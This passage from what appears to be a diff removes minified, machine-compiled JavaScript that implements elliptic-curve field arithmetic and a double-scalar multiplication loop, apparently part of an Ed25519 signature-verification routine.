252)) { - e: - if (i4 = s4[0 | (d5 = (A8 = r11 + 3 | 0) + (h5 + 1760 | 0) | 0)]) - if ((0 | (i4 = (f5 = i4 << 3) + (u5 = s4[0 | l5]) | 0)) >= 16) { - if ((0 | (i4 = u5 - f5 | 0)) < -15) - break t; - for (s4[0 | l5] = i4; ; ) { - if (c4[0 | (i4 = (h5 + 1760 | 0) + A8 | 0)]) { - if (s4[0 | i4] = 0, i4 = A8 >>> 0 < 255, A8 = A8 + 1 | 0, i4) - continue; - break e; - } - break; - } - s4[0 | i4] = 1; - } else - s4[0 | l5] = i4, s4[0 | d5] = 0; - if (!(r11 >>> 0 > 251)) { - e: - if (i4 = s4[0 | (d5 = (A8 = r11 + 4 | 0) + (h5 + 1760 | 0) | 0)]) - if ((0 | (i4 = (f5 = i4 << 4) + (u5 = s4[0 | l5]) | 0)) >= 16) { - if ((0 | (i4 = u5 - f5 | 0)) < -15) - break t; - for (s4[0 | l5] = i4; ; ) { - if (c4[0 | (i4 = (h5 + 1760 | 0) + A8 | 0)]) { - if (s4[0 | i4] = 0, i4 = A8 >>> 0 < 255, A8 = A8 + 1 | 0, i4) - continue; - break e; - } - break; - } - s4[0 | i4] = 1; - } else - s4[0 | l5] = i4, s4[0 | d5] = 0; - if (!(r11 >>> 0 > 250)) { - e: - if (i4 = s4[0 | (d5 = (A8 = r11 + 5 | 0) + (h5 + 1760 | 0) | 0)]) - if ((0 | (i4 = (f5 = i4 << 5) + (u5 = s4[0 | l5]) | 0)) >= 16) { - if ((0 | (i4 = u5 - f5 | 0)) < -15) - break t; - for (s4[0 | l5] = i4; ; ) { - if (c4[0 | (i4 = (h5 + 1760 | 0) + A8 | 0)]) { - if (s4[0 | i4] = 0, i4 = A8 >>> 0 < 255, A8 = A8 + 1 | 0, i4) - continue; - break e; - } - break; - } - s4[0 | i4] = 1; - } else - s4[0 | l5] = i4, s4[0 | d5] = 0; - if (!(r11 >>> 0 > 249) && (r11 = s4[0 | (f5 = (A8 = r11 + 6 | 0) + (h5 + 1760 | 0) | 0)])) - if ((0 | (r11 = (u5 = r11 << 6) + (i4 = s4[0 | l5]) | 0)) >= 16) { - if ((0 | (r11 = i4 - u5 | 0)) < -15) - break t; - for (s4[0 | l5] = r11; ; ) { - if (c4[0 | (r11 = (h5 + 1760 | 0) + A8 | 0)]) { - if (s4[0 | r11] = 0, r11 = A8 >>> 0 < 255, A8 = A8 + 1 | 0, r11) - continue; - break t; - } - break; - } - s4[0 | r11] = 1; - } else - s4[0 | l5] = r11, s4[0 | f5] = 0; - } - } - } - } - } - if (256 == (0 | e6)) - break; - } - for (Z2(A8 = h5 + 480 | 0, p5), e6 = a4[p5 + 36 >> 2], a4[h5 + 192 >> 2] = a4[p5 + 32 >> 2], a4[h5 + 196 >> 2] = e6, e6 = a4[p5 + 28 >> 2], a4[h5 + 184 >> 2] = a4[p5 + 24 >> 2], a4[h5 + 188 >> 2] = e6, e6 = a4[p5 + 20 >> 2], a4[h5 + 176 >> 2] = a4[p5 + 16 >> 2], a4[h5 + 180 >> 2] = e6, e6 = a4[p5 + 12 >> 2], a4[h5 + 168 >> 2] = a4[p5 + 8 >> 2], a4[h5 + 172 >> 2] = e6, e6 = a4[p5 + 4 >> 2], a4[h5 + 160 >> 2] = a4[p5 >> 2], a4[h5 + 164 >> 2] = e6, e6 = a4[p5 + 52 >> 2], a4[h5 + 208 >> 2] = a4[p5 + 48 >> 2], a4[h5 + 212 >> 2] = e6, e6 = a4[p5 + 60 >> 2], a4[h5 + 216 >> 2] = a4[p5 + 56 >> 2], a4[h5 + 220 >> 2] = e6, e6 = a4[4 + (r11 = p5 - -64 | 0) >> 2], a4[h5 + 224 >> 2] = a4[r11 >> 2], a4[h5 + 228 >> 2] = e6, e6 = a4[p5 + 76 >> 2], a4[h5 + 232 >> 2] = a4[p5 + 72 >> 2], a4[h5 + 236 >> 2] = e6, e6 = a4[p5 + 44 >> 2], a4[h5 + 200 >> 2] = a4[p5 + 40 >> 2], a4[h5 + 204 >> 2] = e6, e6 = a4[p5 + 92 >> 2], a4[h5 + 248 >> 2] = a4[p5 + 88 >> 2], a4[h5 + 252 >> 2] = e6, e6 = a4[p5 + 100 >> 2], a4[h5 + 256 >> 2] = a4[p5 + 96 >> 2], a4[h5 + 260 >> 2] = e6, e6 = a4[p5 + 108 >> 2], a4[h5 + 264 >> 2] = a4[p5 + 104 >> 2], a4[h5 + 268 >> 2] = e6, e6 = a4[p5 + 116 >> 2], a4[h5 + 272 >> 2] = a4[p5 + 112 >> 2], a4[h5 + 276 >> 2] = e6, e6 = a4[p5 + 84 >> 2], a4[h5 + 240 >> 2] = a4[p5 + 80 >> 2], a4[h5 + 244 >> 2] = e6, _4(i4 = h5 + 320 | 0, r11 = h5 + 160 | 0), v4(h5, i4, y5 = h5 + 440 | 0), v4(h5 + 40 | 0, C5 = h5 + 360 | 0, m5 = h5 + 400 | 0), v4(h5 + 80 | 0, m5, y5), v4(h5 + 120 | 0, i4, C5), P4(i4, h5, A8), v4(r11, i4, y5), v4(M5 = h5 + 200 | 0, C5, m5), v4(x5 = h5 + 240 | 0, m5, y5), v4(b5 = h5 + 280 | 0, i4, C5), Z2(e6 = h5 + 640 | 0, r11), P4(i4, h5, e6), v4(r11, i4, y5), v4(M5, C5, m5), v4(x5, m5, y5), v4(b5, i4, C5), Z2(e6 = h5 + 800 | 0, r11), P4(i4, h5, e6), v4(r11, i4, y5), v4(M5, C5, m5), v4(x5, m5, y5), v4(b5, i4, C5), Z2(e6 = h5 + 960 | 0, r11), P4(i4, h5, e6), v4(r11, i4, y5), v4(M5, C5, m5), v4(x5, m5, y5), v4(b5, i4, C5), Z2(e6 = h5 + 1120 | 0, r11), P4(i4, h5, e6), v4(r11, i4, y5), v4(M5, C5, m5), v4(x5, m5, y5), v4(b5, i4, C5), Z2(e6 = h5 + 1280 | 0, r11), P4(i4, h5, e6), v4(r11, i4, y5), v4(M5, C5, m5), v4(x5, m5, y5), v4(b5, i4, C5), Z2(e6 = h5 + 1440 | 0, r11), P4(i4, h5, e6), v4(r11, i4, y5), v4(M5, C5, m5), v4(x5, m5, y5), v4(b5, i4, C5), Z2(h5 + 1600 | 0, r11), a4[n9 + 32 >> 2] = 0, a4[n9 + 36 >> 2] = 0, a4[n9 + 24 >> 2] = 0, a4[n9 + 28 >> 2] = 0, a4[n9 + 16 >> 2] = 0, a4[n9 + 20 >> 2] = 0, a4[n9 + 8 >> 2] = 0, a4[n9 + 12 >> 2] = 0, a4[n9 >> 2] = 0, a4[n9 + 4 >> 2] = 0, a4[n9 + 44 >> 2] = 0, a4[n9 + 48 >> 2] = 0, a4[(z4 = n9 + 40 | 0) >> 2] = 1, a4[n9 + 52 >> 2] = 0, a4[n9 + 56 >> 2] = 0, a4[n9 + 60 >> 2] = 0, a4[n9 + 64 >> 2] = 0, a4[n9 + 68 >> 2] = 0, a4[n9 + 72 >> 2] = 0, a4[n9 + 84 >> 2] = 0, a4[n9 + 88 >> 2] = 0, a4[n9 + 76 >> 2] = 0, a4[n9 + 80 >> 2] = 1, a4[n9 + 92 >> 2] = 0, a4[n9 + 96 >> 2] = 0, a4[n9 + 100 >> 2] = 0, a4[n9 + 104 >> 2] = 0, a4[n9 + 108 >> 2] = 0, a4[n9 + 112 >> 2] = 0, a4[n9 + 116 >> 2] = 0, et3 = n9 + 80 | 0, e6 = 255; ; ) { - t: { - e: { - if (!c4[(r11 = h5 + 2016 | 0) + e6 | 0] && !c4[(A8 = h5 + 1760 | 0) + e6 | 0]) { - if (!(c4[(i4 = r11) + (r11 = e6 - 1 | 0) | 0] | c4[r11 + A8 | 0])) - break e; - e6 = r11; - } - if ((0 | e6) < 0) - break t; - for (; _4(A8 = h5 + 320 | 0, n9), (0 | (i4 = s4[(r11 = e6) + (h5 + 2016 | 0) | 0])) > 0 ? (v4(e6 = h5 + 160 | 0, A8, y5), v4(M5, C5, m5), v4(x5, m5, y5), v4(b5, A8, C5), P4(A8, e6, (h5 + 480 | 0) + g4((254 & i4) >>> 1 | 0, 160) | 0)) : (0 | i4) >= 0 || (v4(e6 = h5 + 160 | 0, A8 = h5 + 320 | 0, y5), v4(M5, C5, m5), v4(x5, m5, y5), v4(b5, A8, C5), T2(A8, e6, (h5 + 480 | 0) + g4((0 - i4 & 254) >>> 1 | 0, 160) | 0)), (0 | (J5 = s4[r11 + (h5 + 1760 | 0) | 0])) > 0 ? (v4(e6 = h5 + 160 | 0, A8 = h5 + 320 | 0, y5), v4(M5, C5, m5), v4(x5, m5, y5), v4(b5, A8, C5), R4(A8, e6, g4((254 & J5) >>> 1 | 0, 120) + 1488 | 0)) : (0 | J5) >= 0 || (v4(h5 + 160 | 0, j5 = h5 + 320 | 0, y5), v4(M5, C5, m5), v4(x5, m5, y5), v4(b5, j5, C5), F5 = a4[h5 + 160 >> 2], U5 = a4[h5 + 200 >> 2], H5 = a4[h5 + 164 >> 2], L5 = a4[h5 + 204 >> 2], O5 = a4[h5 + 168 >> 2], Y5 = a4[h5 + 208 >> 2], K5 = a4[h5 + 172 >> 2], B5 = a4[h5 + 212 >> 2], w5 = a4[h5 + 176 >> 2], Q5 = a4[h5 + 216 >> 2], k5 = a4[h5 + 180 >> 2], S5 = a4[h5 + 220 >> 2], l5 = a4[h5 + 184 >> 2], d5 = a4[h5 + 224 >> 2], f5 = a4[h5 + 188 >> 2], u5 = a4[h5 + 228 >> 2], p5 = a4[h5 + 192 >> 2], i4 = a4[h5 + 232 >> 2], A8 = a4[h5 + 236 >> 2], e6 = a4[h5 + 196 >> 2], a4[h5 + 396 >> 2] = A8 - e6, a4[h5 + 392 >> 2] = i4 - p5, a4[h5 + 388 >> 2] = u5 - f5, a4[h5 + 384 >> 2] = d5 - l5, a4[h5 + 380 >> 2] = S5 - k5, a4[h5 + 376 >> 2] = Q5 - w5, a4[h5 + 372 >> 2] = B5 - K5, a4[h5 + 368 >> 2] = Y5 - O5, a4[h5 + 364 >> 2] = L5 - H5, a4[h5 + 360 >> 2] = U5 - F5, a4[h5 + 356 >> 2] = e6 + A8, a4[h5 + 352 >> 2] = i4 + p5, a4[h5 + 348 >> 2] = u5 + f5, a4[h5 + 344 >> 2] = l5 + d5, a4[h5 + 340 >> 2] = k5 + S5, a4[h5 + 336 >> 2] = w5 + Q5, a4[h5 + 332 >> 2] = B5 + K5, a4[h5 + 328 >> 2] = O5 + Y5, a4[h5 + 324 >> 2] = H5 + L5, a4[h5 + 320 >> 2] = F5 + U5, v4(m5, j5, 40 + (e6 = g4((0 - J5 & 254) >>> 1 | 0, 120) + 1488 | 0) | 0), v4(C5, C5, e6), v4(y5, e6 + 80 | 0, b5), rt3 = a4[h5 + 276 >> 2], nt3 = a4[h5 + 272 >> 2], J5 = a4[h5 + 268 >> 2], j5 = a4[h5 + 264 >> 2], l5 = a4[h5 + 260 >> 2], d5 = a4[h5 + 256 >> 2], f5 = a4[h5 + 252 >> 2], u5 = a4[h5 + 248 >> 2], p5 = a4[h5 + 244 >> 2], i4 = a4[h5 + 240 >> 2], q4 = a4[h5 + 360 >> 2], X3 = a4[h5 + 400 >> 2], V3 = a4[h5 + 364 >> 2], W3 = a4[h5 + 404 >> 2], $3 = a4[h5 + 368 >> 2], tt3 = a4[h5 + 408 >> 2], F5 = a4[h5 + 372 >> 2], U5 = a4[h5 + 412 >> 2], H5 = a4[h5 + 376 >> 2], L5 = a4[h5 + 416 >> 2], O5 = a4[h5 + 380 >> 2], Y5 = a4[h5 + 420 >> 2], K5 = a4[h5 + 384 >> 2], B5 = a4[h5 + 424 >> 2], w5 = a4[h5 + 388 >> 2], Q5 = a4[h5 + 428 >> 2], k5 = a4[h5 + 392 >> 2], S5 = a4[h5 + 432 >> 2], A8 = a4[h5 + 396 >> 2], e6 = a4[h5 + 436 >> 2], a4[h5 + 396 >> 2] = A8 + e6, a4[h5 + 392 >> 2] = k5 + S5, a4[h5 + 388 >> 2] = w5 + Q5, a4[h5 + 384 >> 2] = B5 + K5, a4[h5 + 380 >> 2] = O5 + Y5, a4[h5 + 376 >> 2] = H5 + L5, a4[h5 + 372 >> 2] = F5 + U5, a4[h5 + 368 >> 2] = $3 + tt3, a4[h5 + 364 >> 2] = V3 + W3, a4[h5 + 360 >> 2] = q4 + X3, a4[h5 + 356 >> 2] = e6 - A8, a4[h5 + 352 >> 2] = S5 - k5, a4[h5 + 348 >> 2] = Q5 - w5, a4[h5 + 344 >> 2] = B5 - K5, a4[h5 + 340 >> 2] = Y5 - O5, a4[h5 + 336 >> 2] = L5 - H5, a4[h5 + 332 >> 2] = U5 - F5, a4[h5 + 328 >> 2] = tt3 - $3, a4[h5 + 324 >> 2] = W3 - V3, a4[h5 + 320 >> 2] = X3 - q4, F5 = i4 << 1, U5 = a4[h5 + 440 >> 2], a4[h5 + 400 >> 2] = F5 - U5, H5 = p5 << 1, L5 = a4[h5 + 444 >> 2], a4[h5 + 404 >> 2] = H5 - L5, O5 = u5 << 1, Y5 = a4[h5 + 448 >> 2], a4[h5 + 408 >> 2] = O5 - Y5, K5 = f5 << 1, B5 = a4[h5 + 452 >> 2], a4[h5 + 412 >> 2] = K5 - B5, w5 = d5 << 1, Q5 = a4[h5 + 456 >> 2], a4[h5 + 416 >> 2] = w5 - Q5, k5 = l5 << 1, S5 = a4[h5 + 460 >> 2], a4[h5 + 420 >> 2] = k5 - S5, l5 = j5 << 1, d5 = a4[h5 + 464 >> 2], a4[h5 + 424 >> 2] = l5 - d5, f5 = J5 << 1, u5 = a4[h5 + 468 >> 2], a4[h5 + 428 >> 2] = f5 - u5, p5 = nt3 << 1, i4 = a4[h5 + 472 >> 2], a4[h5 + 432 >> 2] = p5 - i4, A8 = rt3 << 1, e6 = a4[h5 + 476 >> 2], a4[h5 + 436 >> 2] = A8 - e6, a4[h5 + 440 >> 2] = F5 + U5, a4[h5 + 444 >> 2] = H5 + L5, a4[h5 + 448 >> 2] = O5 + Y5, a4[h5 + 452 >> 2] = B5 + K5, a4[h5 + 456 >> 2] = w5 + Q5, a4[h5 + 460 >> 2] = k5 + S5, a4[h5 + 464 >> 2] = l5 + d5, a4[h5 + 468 >> 2] = u5 + f5, a4[h5 + 472 >> 2] = i4 + p5, a4[h5 + 476 >> 2] = e6 + A8), v4(n9, h5 + 320 | 0, y5), v4(z4, C5, m5), v4(et3, m5, y5), e6 = r11 - 1 | 0, (0 | r11) > 0; ) - ; - break t; - } - if (e6 = e6 - 2 | 0, r11) - continue; - } - break; - } - I4 = h5 + 2272 | 0, bt2(e6 = o5 + 288 | 0, n9), At3 = -1, it3 = Ct2(e6, t7), k5 = ((0 | t7) == (0 | e6) ? At3 : it3) | ut2(t7, e6, 32); - } - return I4 = o5 + 592 | 0, k5; - } - function v4(t7, e6, r11) { - var n9, A8, i4, o5, s5, c5, h5, u5, l5, f5, p5, d5, I5, C5, m5, B5, E5, w5, v5, _5, Q5, b5, k5, D5, S5, N6, M5, x5, F5, P5, T3, R5, U5, G5, H5, L5, O5, Y5, K5, J5, j5, z4, q4, X3, V3, W3, Z3, $3, tt3, et3, rt3, nt3, At3, it3 = 0, ot3 = 0, st3 = 0, at3 = 0, ct3 = 0, ht3 = 0, gt3 = 0, ut3 = 0, lt3 = 0, ft3 = 0, pt3 = 0, dt3 = 0, It3 = 0, yt3 = 0, Ct3 = 0, mt3 = 0, Et3 = 0, wt3 = 0, vt3 = 0, _t3 = 0, Qt3 = 0, bt3 = 0, kt3 = 0, Dt3 = 0, St3 = 0; - it3 = Bt2(n9 = a4[r11 + 4 >> 2], f5 = n9 >> 31, Et3 = (B5 = a4[e6 + 20 >> 2]) << 1, T3 = Et3 >> 31), st3 = y4, ot3 = (It3 = Bt2(Ct3 = a4[r11 >> 2], i4 = Ct3 >> 31, A8 = a4[e6 + 24 >> 2], o5 = A8 >> 31)) + it3 | 0, it3 = y4 + st3 | 0, it3 = ot3 >>> 0 < It3 >>> 0 ? it3 + 1 | 0 : it3, lt3 = Bt2(s5 = a4[r11 + 8 >> 2], I5 = s5 >> 31, It3 = a4[e6 + 16 >> 2], c5 = It3 >> 31), st3 = y4 + it3 | 0, st3 = (ot3 = lt3 + ot3 | 0) >>> 0 < lt3 >>> 0 ? st3 + 1 | 0 : st3, it3 = (lt3 = Bt2(p5 = a4[r11 + 12 >> 2], E5 = p5 >> 31, D5 = (w5 = a4[e6 + 12 >> 2]) << 1, R5 = D5 >> 31)) + ot3 | 0, ot3 = y4 + st3 | 0, ot3 = it3 >>> 0 < lt3 >>> 0 ? ot3 + 1 | 0 : ot3, st3 = (yt3 = Bt2(C5 = a4[r11 + 16 >> 2], S5 = C5 >> 31, lt3 = a4[e6 + 8 >> 2], h5 = lt3 >> 31)) + it3 | 0, it3 = y4 + ot3 | 0, it3 = st3 >>> 0 < yt3 >>> 0 ? it3 + 1 | 0 : it3, ot3 = st3, st3 = Bt2(v5 = a4[r11 + 20 >> 2], U5 = v5 >> 31, N6 = (_5 = a4[e6 + 4 >> 2]) << 1, G5 = N6 >> 31), it3 = y4 + it3 | 0, it3 = (ot3 = ot3 + st3 | 0) >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, W3 = gt3 = a4[r11 + 24 >> 2], st3 = (ft3 = Bt2(gt3, X3 = gt3 >> 31, yt3 = a4[e6 >> 2], u5 = yt3 >> 31)) + ot3 | 0, ot3 = y4 + it3 | 0, ot3 = st3 >>> 0 < ft3 >>> 0 ? ot3 + 1 | 0 : ot3, H5 = a4[r11 + 28 >> 2], it3 = (ft3 = Bt2(dt3 = g4(H5, 19), Q5 = dt3 >> 31, M5 = (b5 = a4[e6 + 36 >> 2]) << 1, L5 = M5 >> 31)) + st3 | 0, st3 = y4 + ot3 | 0, st3 = it3 >>> 0 < ft3 >>> 0 ? st3 + 1 | 0 : st3, Qt3 = a4[r11 + 32 >> 2], ot3 = (ut3 = Bt2(at3 = g4(Qt3, 19), m5 = at3 >> 31, ft3 = a4[e6 + 32 >> 2], l5 = ft3 >> 31)) + it3 | 0, it3 = y4 + st3 | 0, it3 = ot3 >>> 0 < ut3 >>> 0 ? it3 + 1 | 0 : it3, Z3 = a4[r11 + 36 >> 2], r11 = Bt2(ut3 = g4(Z3, 19), d5 = ut3 >> 31, x5 = (k5 = a4[e6 + 28 >> 2]) << 1, O5 = x5 >> 31), it3 = y4 + it3 | 0, ct3 = e6 = r11 + ot3 | 0, r11 = e6 >>> 0 < r11 >>> 0 ? it3 + 1 | 0 : it3, e6 = Bt2(It3, c5, n9, f5), it3 = y4, ot3 = Bt2(Ct3, i4, B5, Y5 = B5 >> 31), st3 = y4 + it3 | 0, st3 = (e6 = ot3 + e6 | 0) >>> 0 < ot3 >>> 0 ? st3 + 1 | 0 : st3, it3 = Bt2(s5, I5, w5, K5 = w5 >> 31), ot3 = y4 + st3 | 0, ot3 = (e6 = it3 + e6 | 0) >>> 0 < it3 >>> 0 ? ot3 + 1 | 0 : ot3, st3 = Bt2(lt3, h5, p5, E5), it3 = y4 + ot3 | 0, it3 = (e6 = st3 + e6 | 0) >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, ot3 = Bt2(C5, S5, _5, J5 = _5 >> 31), it3 = y4 + it3 | 0, it3 = (e6 = ot3 + e6 | 0) >>> 0 < ot3 >>> 0 ? it3 + 1 | 0 : it3, ot3 = Bt2(yt3, u5, v5, U5), it3 = y4 + it3 | 0, it3 = (e6 = ot3 + e6 | 0) >>> 0 < ot3 >>> 0 ? it3 + 1 | 0 : it3, ot3 = Bt2(gt3 = g4(gt3, 19), F5 = gt3 >> 31, b5, j5 = b5 >> 31), st3 = y4 + it3 | 0, st3 = (e6 = ot3 + e6 | 0) >>> 0 < ot3 >>> 0 ? st3 + 1 | 0 : st3, it3 = Bt2(ft3, l5, dt3, Q5), ot3 = y4 + st3 | 0, ot3 = (e6 = it3 + e6 | 0) >>> 0 < it3 >>> 0 ? ot3 + 1 | 0 : ot3, st3 = Bt2(at3, m5, k5, z4 = k5 >> 31), it3 = y4 + ot3 | 0, it3 = (e6 = st3 + e6 | 0) >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, ot3 = Bt2(ut3, d5, A8, o5), it3 = y4 + it3 | 0, kt3 = e6 = ot3 + e6 | 0, wt3 = e6 >>> 0 < ot3 >>> 0 ? it3 + 1 | 0 : it3, e6 = Bt2(n9, f5, D5, R5), it3 = y4, ot3 = Bt2(Ct3, i4, It3, c5), it3 = y4 + it3 | 0, it3 = (e6 = ot3 + e6 | 0) >>> 0 < ot3 >>> 0 ? it3 + 1 | 0 : it3, ot3 = Bt2(lt3, h5, s5, I5), st3 = y4 + it3 | 0, st3 = (e6 = ot3 + e6 | 0) >>> 0 < ot3 >>> 0 ? st3 + 1 | 0 : st3, it3 = Bt2(p5, E5, N6, G5), ot3 = y4 + st3 | 0, ot3 = (e6 = it3 + e6 | 0) >>> 0 < it3 >>> 0 ? ot3 + 1 | 0 : ot3, st3 = Bt2(yt3, u5, C5, S5), it3 = y4 + ot3 | 0, it3 = (e6 = st3 + e6 | 0) >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, ot3 = Bt2(P5 = g4(v5, 19), q4 = P5 >> 31, M5, L5), it3 = y4 + it3 | 0, it3 = (e6 = ot3 + e6 | 0) >>> 0 < ot3 >>> 0 ? it3 + 1 | 0 : it3, ot3 = Bt2(ft3, l5, gt3, F5), it3 = y4 + it3 | 0, it3 = (e6 = ot3 + e6 | 0) >>> 0 < ot3 >>> 0 ? it3 + 1 | 0 : it3, ot3 = Bt2(dt3, Q5, x5, O5), st3 = y4 + it3 | 0, st3 = (e6 = ot3 + e6 | 0) >>> 0 < ot3 >>> 0 ? st3 + 1 | 0 : st3, it3 = Bt2(at3, m5, A8, o5), ot3 = y4 + st3 | 0, ot3 = (e6 = it3 + e6 | 0) >>> 0 < it3 >>> 0 ? ot3 + 1 | 0 : ot3, st3 = Bt2(ut3, d5, Et3, T3), it3 = y4 + ot3 | 0, $3 = e6 = st3 + e6 | 0, tt3 = it3 = e6 >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, et3 = e6 = e6 + 33554432 | 0, rt3 = it3 = e6 >>> 0 < 33554432 ? it3 + 1 | 0 : it3, st3 = (67108863 & it3) << 6 | e6 >>> 26, it3 = (it3 >> 26) + wt3 | 0, kt3 = e6 = st3 + kt3 | 0, it3 = e6 >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, nt3 = e6 = e6 + 16777216 | 0, it3 = r11 + (ot3 = (st3 = e6 >>> 0 < 16777216 ? it3 + 1 | 0 : it3) >> 25) | 0, it3 = (e6 = (st3 = (33554431 & st3) << 7 | e6 >>> 25) + ct3 | 0) >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, vt3 = r11 = (ot3 = e6) + 33554432 | 0, e6 = it3 = r11 >>> 0 < 33554432 ? it3 + 1 | 0 : it3, a4[t7 + 24 >> 2] = ot3 - (-67108864 & r11), r11 = Bt2(n9, f5, N6, G5), it3 = y4, ot3 = Bt2(Ct3, i4, lt3, h5), st3 = y4 + it3 | 0, st3 = (r11 = ot3 + r11 | 0) >>> 0 < ot3 >>> 0 ? st3 + 1 | 0 : st3, ot3 = (it3 = r11) + (r11 = Bt2(yt3, u5, s5, I5)) | 0, it3 = y4 + st3 | 0, it3 = r11 >>> 0 > ot3 >>> 0 ? it3 + 1 | 0 : it3, st3 = Bt2(r11 = g4(p5, 19), _t3 = r11 >> 31, M5, L5), it3 = y4 + it3 | 0, it3 = (ot3 = st3 + ot3 | 0) >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, st3 = (ct3 = Bt2(ft3, l5, wt3 = g4(C5, 19), V3 = wt3 >> 31)) + ot3 | 0, ot3 = y4 + it3 | 0, ot3 = st3 >>> 0 < ct3 >>> 0 ? ot3 + 1 | 0 : ot3, ct3 = Bt2(x5, O5, P5, q4), it3 = y4 + ot3 | 0, it3 = (st3 = ct3 + st3 | 0) >>> 0 < ct3 >>> 0 ? it3 + 1 | 0 : it3, ot3 = (ct3 = Bt2(A8, o5, gt3, F5)) + st3 | 0, st3 = y4 + it3 | 0, st3 = ot3 >>> 0 < ct3 >>> 0 ? st3 + 1 | 0 : st3, ct3 = Bt2(dt3, Q5, Et3, T3), it3 = y4 + st3 | 0, it3 = (ot3 = ct3 + ot3 | 0) >>> 0 < ct3 >>> 0 ? it3 + 1 | 0 : it3, st3 = Bt2(at3, m5, It3, c5), it3 = y4 + it3 | 0, it3 = (ot3 = st3 + ot3 | 0) >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, st3 = (ct3 = Bt2(ut3, d5, D5, R5)) + ot3 | 0, ot3 = y4 + it3 | 0, pt3 = st3, Dt3 = st3 >>> 0 < ct3 >>> 0 ? ot3 + 1 | 0 : ot3, it3 = Bt2(yt3, u5, n9, f5), ot3 = y4, st3 = (ct3 = Bt2(Ct3, i4, _5, J5)) + it3 | 0, it3 = y4 + ot3 | 0, it3 = st3 >>> 0 < ct3 >>> 0 ? it3 + 1 | 0 : it3, ct3 = ot3 = g4(s5, 19), ot3 = (ht3 = Bt2(ot3, bt3 = ot3 >> 31, b5, j5)) + st3 | 0, st3 = y4 + it3 | 0, st3 = ot3 >>> 0 < ht3 >>> 0 ? st3 + 1 | 0 : st3, ht3 = Bt2(ft3, l5, r11, _t3), it3 = y4 + st3 | 0, it3 = (ot3 = ht3 + ot3 | 0) >>> 0 < ht3 >>> 0 ? it3 + 1 | 0 : it3, st3 = Bt2(wt3, V3, k5, z4), it3 = y4 + it3 | 0, it3 = (ot3 = st3 + ot3 | 0) >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, st3 = (ht3 = Bt2(A8, o5, P5, q4)) + ot3 | 0, ot3 = y4 + it3 | 0, ot3 = st3 >>> 0 < ht3 >>> 0 ? ot3 + 1 | 0 : ot3, ht3 = Bt2(gt3, F5, B5, Y5), it3 = y4 + ot3 | 0, it3 = (st3 = ht3 + st3 | 0) >>> 0 < ht3 >>> 0 ? it3 + 1 | 0 : it3, ot3 = (ht3 = Bt2(It3, c5, dt3, Q5)) + st3 | 0, st3 = y4 + it3 | 0, st3 = ot3 >>> 0 < ht3 >>> 0 ? st3 + 1 | 0 : st3, ht3 = Bt2(at3, m5, w5, K5), it3 = y4 + st3 | 0, it3 = (ot3 = ht3 + ot3 | 0) >>> 0 < ht3 >>> 0 ? it3 + 1 | 0 : it3, st3 = Bt2(ut3, d5, lt3, h5), it3 = y4 + it3 | 0, St3 = ot3 = st3 + ot3 | 0, ht3 = ot3 >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, it3 = Bt2(it3 = g4(n9, 19), it3 >> 31, M5, L5), ot3 = y4, st3 = Bt2(Ct3, i4, yt3, u5), ot3 = y4 + ot3 | 0, ot3 = (it3 = st3 + it3 | 0) >>> 0 < st3 >>> 0 ? ot3 + 1 | 0 : ot3, st3 = (ct3 = Bt2(ft3, l5, ct3, bt3)) + it3 | 0, it3 = y4 + ot3 | 0, r11 = (ot3 = Bt2(r11, _t3, x5, O5)) + st3 | 0, st3 = y4 + (st3 >>> 0 < ct3 >>> 0 ? it3 + 1 | 0 : it3) | 0, st3 = r11 >>> 0 < ot3 >>> 0 ? st3 + 1 | 0 : st3, ot3 = Bt2(A8, o5, wt3, V3), it3 = y4 + st3 | 0, it3 = (r11 = ot3 + r11 | 0) >>> 0 < ot3 >>> 0 ? it3 + 1 | 0 : it3, ot3 = Bt2(Et3, T3, P5, q4), it3 = y4 + it3 | 0, it3 = (r11 = ot3 + r11 | 0) >>> 0 < ot3 >>> 0 ? it3 + 1 | 0 : it3, st3 = Bt2(It3, c5, gt3, F5), ot3 = y4 + it3 | 0, ot3 = (r11 = st3 + r11 | 0) >>> 0 < st3 >>> 0 ? ot3 + 1 | 0 : ot3, st3 = Bt2(dt3, Q5, D5, R5), it3 = y4 + ot3 | 0, it3 = (r11 = st3 + r11 | 0) >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, ot3 = Bt2(at3, m5, lt3, h5), st3 = y4 + it3 | 0, st3 = (r11 = ot3 + r11 | 0) >>> 0 < ot3 >>> 0 ? st3 + 1 | 0 : st3, ot3 = Bt2(ut3, d5, N6, G5), it3 = y4 + st3 | 0, ct3 = r11 = ot3 + r11 | 0, _t3 = it3 = r11 >>> 0 < ot3 >>> 0 ? it3 + 1 | 0 : it3, bt3 = r11 = r11 + 33554432 | 0, At3 = it3 = r11 >>> 0 < 33554432 ? it3 + 1 | 0 : it3, ot3 = (st3 = it3 >> 26) + ht3 | 0, ht3 = r11 = (it3 = (67108863 & it3) << 6 | r11 >>> 26) + St3 | 0, it3 = r11 >>> 0 < it3 >>> 0 ? ot3 + 1 | 0 : ot3, St3 = r11 = r11 + 16777216 | 0, ot3 = (33554431 & (it3 = r11 >>> 0 < 16777216 ? it3 + 1 | 0 : it3)) << 7 | r11 >>> 25, it3 = (it3 >> 25) + Dt3 | 0, it3 = (r11 = ot3 + pt3 | 0) >>> 0 < ot3 >>> 0 ? it3 + 1 | 0 : it3, Dt3 = ot3 = (st3 = r11) + 33554432 | 0, r11 = it3 = ot3 >>> 0 < 33554432 ? it3 + 1 | 0 : it3, a4[t7 + 8 >> 2] = st3 - (-67108864 & ot3), it3 = Bt2(A8, o5, n9, f5), st3 = y4, ot3 = (pt3 = Bt2(Ct3, i4, k5, z4)) + it3 | 0, it3 = y4 + st3 | 0, it3 = ot3 >>> 0 < pt3 >>> 0 ? it3 + 1 | 0 : it3, st3 = Bt2(s5, I5, B5, Y5), it3 = y4 + it3 | 0, it3 = (ot3 = st3 + ot3 | 0) >>> 0 < st3 >>> 0 ? it3 + 1 | 0 : it3, st3 = Bt2(It3, 